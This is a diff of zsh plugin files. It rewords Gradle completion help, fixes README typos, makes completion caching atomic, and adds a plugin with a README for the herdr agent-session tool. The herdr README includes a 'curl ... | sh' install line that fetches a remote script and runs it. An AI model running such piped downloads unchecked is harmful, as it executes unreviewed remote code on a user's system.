+        {-p,--project-dir}'[Specifies the start directory for Gradle. Default is the current directory.]:project dir:_directories:->argument-expected' \
+        '--property-upgrade-report[Runs the build with the experimental property upgrade report. (incubating)]' \
+        (--warn,-w,--info,-i,--debug,-d){-q,--quiet}'[Logs errors only.]' \
+        {-U,--refresh-dependencies}'[Refreshes the state of dependencies.]' \
+        '--refresh-keys[Refreshes the public keys used for dependency verification.]' \
         '--rerun[Causes the task to be re-run even if up-to-date.]' \
-        '--rerun-tasks[Ignore previously cached task results.]' \
-        (--no-scan)'--scan[Generate a Build Scan (powered by Develocity).]' \
+        '--rerun-tasks[Ignores previously cached task results.]' \
+        (--no-scan)'--scan[Generates a Build Scan (powered by Develocity).]' \
         {-V,--show-version}'[Print version info and continue.]' \
-        (--full-stacktrace,-S){-s,--stacktrace}'[Print out the stacktrace for all exceptions.]' \
-        '--status[Shows status of running and recently stopped Gradle daemon(s).]' \
+        (--full-stacktrace,-S){-s,--stacktrace}'[Prints the stacktrace for all exceptions.]' \
+        '--status[Shows the status of running and recently stopped Gradle daemons.]' \
         '--stop[Stops the Gradle daemon if it is running.]' \
-        '--task-graph[(Experimental) Print task graph instead of executing tasks.]' \
-        \*'--update-locks[Perform a partial update of the dependency lock, letting passed in module notations change version. (incubating)]' \
+        '--task-graph[Prints the task graph instead of executing tasks.]' \
+        \*'--update-locks[Performs a partial update of the dependency lock. Allows passed-in module notations to change version. (incubating)]' \
         {-v,--version}'[Print version info and exit.]' \
-        (--quiet,-q,--info,-i,--debug,-d){-w,--warn}'[Set log level to warn.]' \
-        '--warning-mode[Specifies which mode of warnings to generate. Values are 'all', 'fail', 'summary'(default) or 'none']:warning mode:(all summary none):->argument-expected' \
-        (--no-watch-fs)'--watch-fs[Enables watching the file system for changes, allowing data about the file system to be re-used for the next build.]' \
-        '--write-locks[Persists dependency resolution for locked configurations, ignoring existing locking information if it exists]' \
-        {-M,--write-verification-metadata}'[Generates checksums for dependencies used in the project (comma-separated list)]:->argument-expected' \
+        (--quiet,-q,--info,-i,--debug,-d){-w,--warn}'[Sets the log level to warn.]' \
+        '--warning-mode[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]:warning mode:(all summary none):->argument-expected' \
+        (--no-watch-fs)'--watch-fs[Enables file system watching. Reuses file system data for subsequent builds.]' \
+        '--write-locks[Persists dependency resolution for locked configurations. Ignores existing locking information if it exists.]' \
+        {-M,--write-verification-metadata}'[Generates checksums for dependencies used in the project. Accepts a comma-separated list.]:->argument-expected' \
 '(-)*:: :->task-or-option' && ret=0
 
     if [[ $words[CURRENT] != -* && $state != "argument-expected" ]]; then

plugins/grunt/grunt.plugin.zsh

@@ -23,7 +23,7 @@
 #
 # Enable caching:
 #
-#   If you want to use the cache, set the followings in your .zshrc:
+#   If you want to use the cache, set the following in your .zshrc:
 #
 #     zstyle ':completion:*' use-cache yes
 #

plugins/hasura/hasura.plugin.zsh

@@ -9,5 +9,9 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_hasura" ]]; then
   source "$ZSH_CACHE_DIR/completions/_hasura"
 else
   source "$ZSH_CACHE_DIR/completions/_hasura"
-  hasura completion zsh --file "$ZSH_CACHE_DIR/completions/_hasura" >/dev/null &|
+  zmodload -F zsh/files b:zf_mv
+  () {
+    local TMPPREFIX="$ZSH_CACHE_DIR/completions/_hasura"
+    zf_mv -f -- =( hasura completion zsh ) "$TMPPREFIX"
+  } &|
 fi

plugins/hcloud/hcloud.plugin.zsh

@@ -13,7 +13,11 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_hcloud" ]]; then
   _comps[hcloud]=_hcloud
 fi
 
-hcloud completion zsh 2> /dev/null >| "$ZSH_CACHE_DIR/completions/_hcloud" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_hcloud"
+  zf_mv -f -- =( hcloud completion zsh 2> /dev/null ) "$TMPPREFIX"
+} &|
 
 # Main alias
 alias hc='hcloud'

plugins/helm/helm.plugin.zsh

@@ -9,7 +9,11 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_helm" ]]; then
   source "$ZSH_CACHE_DIR/completions/_helm"
 else
   source "$ZSH_CACHE_DIR/completions/_helm"
-  helm completion zsh | tee "$ZSH_CACHE_DIR/completions/_helm" >/dev/null &|
+  zmodload -F zsh/files b:zf_mv
+  () {
+    local TMPPREFIX="$ZSH_CACHE_DIR/completions/_helm"
+    zf_mv -f -- =( helm completion zsh ) "$TMPPREFIX"
+  } &|
 fi
 
 alias h='helm'

plugins/herdr/README.md

@@ -0,0 +1,163 @@
+# herdr plugin
+
+This plugin adds completion, aliases, an interactive session picker and a prompt
+function for [herdr](https://herdr.dev), the runtime your
+coding agents live on. herdr keeps agent terminals running in the background across
+projects and machines, so you can close your terminal, reconnect later, and pick up
+where the agents left off.
+
+To use it, add `herdr` to the plugins array in your zshrc file:
+
+```zsh
+plugins=(... herdr)
+```
+
+Install herdr first if you have not already:
+
+```sh
+curl -fsSL https://herdr.dev/install.sh | sh   # or: brew install herdr
+```
+
+## Learning herdr from the terminal
+
+The fastest way to explore herdr is tab completion. Every command group and flag shows a
+short description, so you can discover what is available without leaving the shell:
+
+```
+$ herdr <TAB>
+agent         -- Control and inspect agent panes
+session       -- Manage named persistent sessions
+workspace     -- Manage workspaces over the socket API
+worktree      -- Manage Git worktree-backed workspaces
+...
+$ herdr agent <TAB>
+list          -- List agents
+prompt        -- Submit a prompt to an agent
+start         -- Start a supported interactive agent in an existing pane
+wait          -- Wait until an agent reaches one of the requested states
+...
+```
+
+A few other ways to learn as you go:
+
+- `herdr <group>` with no subcommand prints that group's help, for example `herdr pane`.
+- `herdr --skill` prints the instructions herdr gives to agents that drive it. It is a
+  good tour of the full command surface.
+- Most control commands return JSON, so you can pipe them into `jq` in scripts.
+
+## Common workflows
+
+### Start and reconnect
+
+```sh
+herdr                          # launch, or attach to the default session
+herdr --session work           # use or create a named session
+herdr session list             # see running and stopped sessions
+herdr session attach work      # reconnect to a named session
+herdr status                   # check the local client and running server
+herdr update                   # install the latest release
+```
+
+### Organize work into workspaces and tabs
+
+```sh
+herdr workspace list
+herdr workspace create --cwd ~/projects/app
+herdr tab create
+herdr pane split --direction right
+herdr worktree create --branch feature/login   # open a Git worktree in its own workspace
+```
+
+### Run and watch agents
+
+```sh
+herdr agent list                               # what is running, and is it idle, working or blocked
+herdr agent start reviewer --kind claude --pane w1:p2
+herdr agent prompt reviewer "review the last commit" --wait
+herdr agent read reviewer                      # read the agent's terminal output
+herdr agent wait reviewer --until idle
+herdr agent attach reviewer                    # jump straight into that terminal
+```
+
+### Work across machines
+
+```sh
+herdr --remote user@build-box                  # attach through SSH with your local keybindings
+```
+
+### Keep the server healthy
+
+```sh
+herdr config check                             # validate config.toml
+herdr server reload-config                     # apply config changes without restarting panes
+herdr server stop
+herdr channel set preview                      # switch between stable and preview releases
+herdr integration status                       # which agent CLIs have herdr hooks installed
+```
+
+See the [CLI reference](https://herdr.dev/docs/cli-reference/) for every command and flag.
+
+## Aliases
+
+| Alias   | Command                       |
+| ------- | ----------------------------- |
+| `hrdr`   | `herdr`                       |
+| `hrdrst` | `herdr status`                |
+| `hrdrup` | `herdr update`                |
+| `hrdrsl` | `herdr session list`          |
+| `hrdrsa` | `herdr session attach`        |
+| `hrdrr`  | `herdr --remote`              |
+| `hrdral` | `herdr agent list`            |
+| `hrdrwl` | `herdr workspace list`        |
+| `hrdrwc` | `herdr workspace create`      |
+| `hrdrwt` | `herdr worktree create`       |
+| `hrdrps` | `herdr pane split`            |
+| `hrdrrc` | `herdr server reload-config`  |
+
+Tab completion works through the aliases too, so `hrdr agent <TAB>` completes the same
+way `herdr agent <TAB>` does.
+
+## Session picker
+
+`hrdrs` lists your herdr sessions and attaches to the one you pick. It uses
+[fzf](https://github.com/junegunn/fzf) when it is installed and falls back to a numbered
+menu otherwise, so it works everywhere.
+
+```
+$ hrdrs
+name                 status   directory
+1) default              running  /Users/me/.config/herdr
+2) work                 stopped  /Users/me/projects/app
+Attach to session: 2
+```
+
+## Prompt
+
+This plugin provides the `herdr_prompt_info` function to show the current pane ID in
+your prompt when the shell is running inside herdr. It reads environment variables only,
+so it adds no cost to prompt rendering.
+
+For example:
+```
+PROMPT="%~$ "
+RPROMPT='$(herdr_prompt_info)'
+```
+changes your prompt inside a herdr pane to:
+```
+~/projects/app$ ▋                                                    w1:p4
+```
+and shows nothing outside herdr.
+
+Wrap it with `ZSH_THEME_HERDR_PROMPT_PREFIX` and `ZSH_THEME_HERDR_PROMPT_SUFFIX`, for
+example:
+```
+ZSH_THEME_HERDR_PROMPT_PREFIX="%{$fg[cyan]%}[herdr "
+ZSH_THEME_HERDR_PROMPT_SUFFIX="]%{$reset_color%}"
+```
+
+## Cache
+
+This plugin caches the completion script and automatically updates it when the plugin is
+loaded, which is usually when you start a new terminal emulator.
+
+The cache is stored at `$ZSH_CACHE_DIR/completions/_herdr`.

plugins/herdr/herdr.plugin.zsh

@@ -0,0 +1,68 @@
+# Aliases, helpers and completion for herdr (https://herdr.dev), the runtime for coding agents.
+
+# PROMPT
+# Defined before the herdr check so themes can reference it on machines without herdr.
+function herdr_prompt_info {
+  [[ "$HERDR_ENV" == 1 ]] || return
+  echo "${ZSH_THEME_HERDR_PROMPT_PREFIX}${HERDR_PANE_ID:gs/%/%%}${ZSH_THEME_HERDR_PROMPT_SUFFIX}"
+}
+
+if (( ! $+commands[herdr] )); then
+  return
+fi
+
+# ALIASES
+alias hrdr='herdr'
+alias hrdrst='herdr status'
+alias hrdrup='herdr update'
+alias hrdrsl='herdr session list'
+alias hrdrsa='herdr session attach'
+alias hrdrr='herdr --remote'
+alias hrdral='herdr agent list'
+alias hrdrwl='herdr workspace list'
+alias hrdrwc='herdr workspace create'
+alias hrdrwt='herdr worktree create'
+alias hrdrps='herdr pane split'
+alias hrdrrc='herdr server reload-config'
+
+# FUNCTIONS
+# Pick a session and attach to it, with fzf if available or a numbered menu otherwise.
+function hrdrs {
+  setopt localoptions extendedglob
+  local -a lines
+  lines=("${(@f)$(herdr session list 2>/dev/null)}")
+  lines=("${(@)lines%%[[:space:]]#[^[:space:]]#}")  # drop the socket column
+  if (( $#lines < 2 )); then
+    print "hrdrs: no herdr sessions found" >&2
+    return 1
+  fi
+
+  local choice
+  if (( $+commands[fzf] )); then
+    choice=$(print -l -- "${lines[@]}" | fzf --header-lines=1 --prompt='herdr session> ') || return
+  else
+    print -- "${lines[1]}"
+    local PS3="Attach to session: "
+    select choice in "${lines[@]:1}"; do
+      [[ -n "$choice" ]] && break
+    done
+  fi
+  [[ -n "$choice" ]] || return 1
+
+  herdr session attach "${${(z)choice}[1]}"
+}
+
+# COMPLETION
+# If the completion file doesn't exist yet, we need to autoload it and
+# bind it to `herdr`. Otherwise, compinit will have already done that.
+if [[ ! -f "$ZSH_CACHE_DIR/completions/_herdr" ]]; then
+  typeset -g -A _comps
+  autoload -Uz _herdr
+  _comps[herdr]=_herdr
+fi
+
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_herdr"
+  zf_mv -f -- =( herdr completion zsh < /dev/null 2> /dev/null ) "$TMPPREFIX"
+} &|

plugins/history-substring-search/README.md

@@ -20,7 +20,7 @@ Requirements
 Install
 ------------------------------------------------------------------------------
 
-Using the [Homebrew]( https://brew.sh ) package manager:
+Using the [Homebrew](https://brew.sh) package manager:
 
     brew install zsh-history-substring-search
     echo 'source $(brew --prefix)/share/zsh-history-substring-search/zsh-history-substring-search.zsh' >> ~/.zshrc
@@ -79,7 +79,7 @@ Using [Zinit](https://github.com/zdharma-continuum/zinit):
 
 2. Load the plugin in `~/.zshrc`:
 
-        zinit load 'zsh-users/zsh-history-substring-search
+        zinit load 'zsh-users/zsh-history-substring-search'
         zinit ice wait atload'_history_substring_search_config'
 
 3. Run `exec zsh` to take changes into account:

plugins/history-substring-search/history-substring-search.plugin.zsh

@@ -3,6 +3,13 @@
 0="${${ZERO:-${0:#$ZSH_ARGZERO}}:-${(%):-%N}}"
 0="${${(M)0:#/*}:-$PWD/$0}"
 
+# Respect case sensitivity settings for globbing in history search
+if [[ "$CASE_SENSITIVE" = true ]]; then
+  : ${HISTORY_SUBSTRING_SEARCH_GLOBBING_FLAGS=''}
+else
+  : ${HISTORY_SUBSTRING_SEARCH_GLOBBING_FLAGS='i'}
+fi
+
 source ${0:A:h}/history-substring-search.zsh
 
 

plugins/history-substring-search/history-substring-search.zsh

@@ -45,14 +45,7 @@
 
 : ${HISTORY_SUBSTRING_SEARCH_HIGHLIGHT_FOUND='bg=magenta,fg=white,bold'}
 : ${HISTORY_SUBSTRING_SEARCH_HIGHLIGHT_NOT_FOUND='bg=red,fg=white,bold'}
-
-# Respect CASE_SENSITIVE setting for case sensitivity
-if [[ "$CASE_SENSITIVE" = true ]]; then
-  : ${HISTORY_SUBSTRING_SEARCH_GLOBBING_FLAGS=''}
-else
-  : ${HISTORY_SUBSTRING_SEARCH_GLOBBING_FLAGS='i'}
-fi
-
+: ${HISTORY_SUBSTRING_SEARCH_GLOBBING_FLAGS='i'}
 : ${HISTORY_SUBSTRING_SEARCH_ENSURE_UNIQUE=''}
 : ${HISTORY_SUBSTRING_SEARCH_FUZZY=''}
 : ${HISTORY_SUBSTRING_SEARCH_PREFIXED=''}